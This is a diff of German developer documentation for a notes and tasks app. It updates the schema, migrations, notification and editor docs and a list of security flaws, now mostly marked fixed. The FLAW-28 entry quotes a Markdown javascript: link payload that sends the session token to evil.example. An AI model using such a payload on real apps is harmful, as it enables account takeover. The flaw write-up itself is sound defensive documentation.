 | `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
-| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
+| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `recurrence` (`daily`/`weekly`/`monthly`/`yearly`/leer), `recurrence_spawned`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
 | `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
 | `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
 | `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
@@ -76,11 +83,11 @@ teams 1─n team_members n─1 users
 ## Migrationen und Aufräumarbeiten beim Start
 
 - Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert).
-- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`.
+- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`, `revoked_tokens`.
 - `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
 - Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
 - Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
-- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
+- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte (Migrationen 3 bis 9: 3 „Basis-Schema v0.4.1“, 4 „Sitzungen“, 5 „Medien“, 6 „Link-Vorschauen“, 7 „Benachrichtigungen“, 8 „Journal“, 9 „Web-Push“) genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 (`migrateBaseline`) baut das Basisschema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
 
 ## Sicherung
 

Doku/flaws.md

@@ -10,19 +10,19 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
 
 | ID | Bereich | Kurzbeschreibung | Schwere |
 |---|---|---|---|
-| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch |
-| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel |
-| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
-| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
-| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
-| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel |
-| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig |
-| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig |
-| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig |
-| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig |
-| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig |
-| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig |
-| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig |
+| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
+| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
+| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
+| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
+| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
+| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
+| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
+| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
+| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
+| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
+| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
+| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
+| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
 | FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
 
 ---
@@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
 ## Details
 
 ### FLAW-28: `javascript:`-Links in Markdown
+- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
 - **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
 - **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
 - **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
 
 ### FLAW-29: Keine Sicherheits-Header
+- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
 - **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
 - **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
 - **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
@@ -43,56 +45,68 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
 - **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
 - **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
 - **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
+- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
 
 ### FLAW-31: Langlebige Sitzung im `localStorage`
 - **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
 - **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
 - **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
+- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
 
 ### FLAW-32: Nur 40 Bit Zufall in IDs
 - **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
 - **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
 - **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
+- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
 
-### FLAW-33: Demo-Admin darf Server-Einstellungen ändern
+### FLAW-33: Öffentliche Demo als Absender missbrauchbar
 - **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
 - **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
-- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt.
+- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
+- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
+- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
 
 ### FLAW-34: SMTP-Passwort im Klartext
 - **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
 - **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
 - **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
+- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
 
 ### FLAW-35: `?token=` beim Webhook-Ingest
 - **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
 - **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
 - **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
+- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
 
 ### FLAW-36: Kein allgemeines Größenlimit für Anfragen
 - **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
 - **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
 - **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
+- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
 
 ### FLAW-37: Server-Backups überleben das gelöschte Konto
 - **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
 - **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
 - **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
+- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
 
 ### FLAW-38: Große Downloads brechen nach 30 s ab
 - **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
 - **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
 - **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
+- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
 
 ### FLAW-39: Kein Rate-Limit außerhalb des Logins
 - **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
 - **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
 - **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
+- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
 
 ### FLAW-40: Einladungscode doppelt einlösbar
 - **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
 - **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
 - **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
+- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
 
 ### FLAW-41: Sehr große Frontend-Dateien
 - **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
@@ -117,7 +131,7 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
 
 ### Notizen
 - **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
-- **Bilder und Anhänge** in Notizen.
+- ~~**Bilder und Anhänge** in Notizen.~~ (Umgesetzt in v0.7.0 mit `/image`, `/audio` und Medienablage).
 - **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
 - **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
 - **Verlinkungs-Graph** auf Basis der Backlinks.
@@ -128,7 +142,6 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
 
 ### Konto & Sicherheit
 - **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
-- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31).
 - **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
 - **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
 

Doku/modules/tasks.md

@@ -25,7 +25,7 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
   - Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
   - **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
 - Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
-- Bekannte Lücke: (Umsortieren per ID).
+- **Aufgaben beobachten (`task_watchers`):** Im Detail-Fenster lässt sich eine Aufgabe über „Beobachten“ abonnieren (`POST /tasks/{id}/watch`, `DELETE /tasks/{id}/watch`). Jede Änderung an einer beobachteten Aufgabe wird dem Beobachter über seine konfigurierten Benachrichtigungskanäle gemeldet.
 
 ## Wiederkehrende Aufgaben
 
@@ -46,7 +46,7 @@ Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offe
 | Discord | Webhook-URL | Benutzereinstellungen |
 | Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
 
-Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war.
+Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war. Neben Fälligkeits-Alarmen (die sofort versendet werden) unterstützt MindSift granulare Benachrichtigungen für Freigaben, erledigte geteilte Aufgaben und beobachtete Aufgaben, die über `notification_queue` gebündelt nach `NOTIFY_DIGEST_MINUTES` versendet werden ([architecture.md](../architecture.md#benachrichtigungen)).
 
 **E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt:
 

Doku/modules/triage.md

@@ -6,7 +6,7 @@ Ziel: Gedanken in Sekunden festhalten und später in Ruhe sortieren. Code: [Inst
 
 - Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld).
 - Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`).
-- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt die Web Speech API des Browsers; Quelle `voice` fügt den Tag `#diktat` an.
+- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt `useVoiceInput` (Whisper-Server oder Spracherkennung des Browsers); Quelle `voice` fügt den Tag `#diktat` an.
 - Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`).
 - Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)).
 

Doku/modules/workspace.md

@@ -1,6 +1,6 @@
 # Modul: Workspace (Outliner-Notizen)
 
-Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockItem.tsx](../../frontend/src/features/workspace/CodeBlockItem.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
+Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockEditor.tsx](../../frontend/src/features/workspace/CodeBlockEditor.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
 
 ## Datenhaltung
 
@@ -15,7 +15,10 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
 - **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen.
 - **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
 - **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
-- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
+- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code` (mit Syntax-Highlighting im VS-Code-Stil), `/callout`, `/divider`, `/extract` (Ast als eigene Notiz auslagern), `/image` (Bilder einfügen/hochladen, Aliase `/bild`, `/foto`), `/audio` (Sprachnotiz/Audiodatei, Alias `/sprachnotiz`), `/diktat` (Spracheingabe mit Live-Mitschreiben, Alias `/dictate`) (Liste in `OutlinerBlock.tsx`). Das Menü öffnet sich nur am Textanfang oder nach einem Leerzeichen und schließt mit `Esc` oder `Backspace`.
+- **Link-Vorschau:** Besteht ein Bulletpoint ausschließlich aus einer einzelnen `https`-Adresse (oder wurde über `/link` in einem leeren Punkt eingefügt), zeigt MindSift darüber eine interaktive Vorschaukarte (`LinkPreviewCard`, serverseitig via `/link-preview`). ✕ blendet die Karte aus und wandelt die Adresse synchronisiert in `[Titel](url)` um.
+- **Ast auslagern (`/extract`):** Wandelt den aktuellen Punkt samt Unterpunkten in eine eigenständige Notiz im selben Ordner um. Der Server legt die Notiz an und liefert den Link zurück; der Editor ersetzt den Ast lokal über die Sync-Engine als eigene Operation (Strg+Z nimmt die Auslagerung zurück und legt die neue Notiz via `POST /documents/{id}/extract/undo` in den Papierkorb).
+- **Notizen zusammenführen (Merge):** Per Drag & Drop einer Notiz auf eine andere in der Seitenleiste oder über das Drei-Punkte-Menü im Notizkopf („Mit anderer Notiz zusammenführen…“). Die eigene Quellnotiz wird als `h2`-Abschnitt angehängt und in den Papierkorb verschoben; der Hinweis bietet vollständiges Rückgängigmachen (`POST /documents/{id}/merge/undo`).
